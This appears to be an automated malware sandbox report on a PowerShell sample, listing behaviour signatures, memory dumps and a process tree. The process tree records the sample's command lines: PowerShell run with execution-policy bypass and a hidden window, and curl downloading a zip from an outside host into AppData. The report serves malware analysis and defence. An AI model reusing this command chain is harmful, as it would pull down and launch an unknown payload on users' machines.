Analysis
- max time kernel
148s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
02/08/2026, 18:14
General
- Target script.ps1
- Size 1KB
- Sample260802-wvrkysvthy
- SHA256 1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Bypass -W Hidden -F "C:\Users\Admin\AppData\Local\Temp\t.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L https://savricsaxen.cloud/storage/media/6a0de6056a65e/draw.zip -o C:\Users\Admin\AppData\Roaming\pupdate.zip3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_3mx4f4dt.fxo.ps1
t.ps1
memory/4348-26-0x0000023254E00000-0x0000023254E1E000-memory.dmp
memory/4348-20-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-31-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-29-0x0000023254EE0000-0x0000023254EEA000-memory.dmp
memory/4348-28-0x0000023254E20000-0x0000023254ED2000-memory.dmp
memory/4348-27-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-13-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-14-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-23-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-22-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-19-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4348-21-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-6-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-3-0x000001ADF02D0000-0x000001ADF02F2000-memory.dmp
memory/4380-5-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-0-0x00007FFC5F61F000-0x00007FFC5F620000-memory.dmp
memory/4380-4-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-12-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-11-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-8-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp
memory/4380-7-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp